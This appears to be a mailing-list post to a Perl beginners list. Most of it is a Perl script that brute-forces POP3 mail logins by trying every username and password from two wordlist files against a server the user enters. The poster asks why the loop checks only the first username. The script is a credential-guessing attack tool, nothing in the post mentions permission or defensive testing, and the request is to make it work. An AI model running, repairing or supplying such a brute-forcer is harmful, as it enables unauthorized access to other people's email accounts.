#!/usr/bin/perl -w
use strict;
use Authen::Simple::POP3;

print "Enter POP3 server hostname: ";
chomp( my $host = <STDIN> );

my $pop3 = Authen::Simple::POP3->new(
    host => $host
);

my $pwdlst = "pass.txt";
open( INPASS, $pwdlst ) || die "\nERROR: Cannot open file \'$pwdlst\'!
\n";

my $usrlst = "user.txt";
open( INUSER, $usrlst ) || die "\nERROR: Cannot open file \'$usrlst\'!
\n";

while ( my $user = <INUSER> ) {
    chomp $user;
    while ( my $pass = <INPASS> ) {
        chomp $pass;
        if ( $pop3->authenticate( $user, $pass ) ) {
            printf "\nPassword is \'%s\' .\n", $pass;
        } else {
            printf "\nTrying %s - %s\n", $user, $pass;
        }
    }
}

close(INUSER);
close(INPASS);


# It's supposed to read first username from user.txt
# and try it against all the passwords from pass.txt,
# and then to move to the next username and run that
# against all the passwords, too, and so on...but it
# does not work that way..it just check passwords
# against the first username and then exits. What's
# the problem?
# Thanx for any help.


-- 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
http://learn.perl.org/


Reply via email to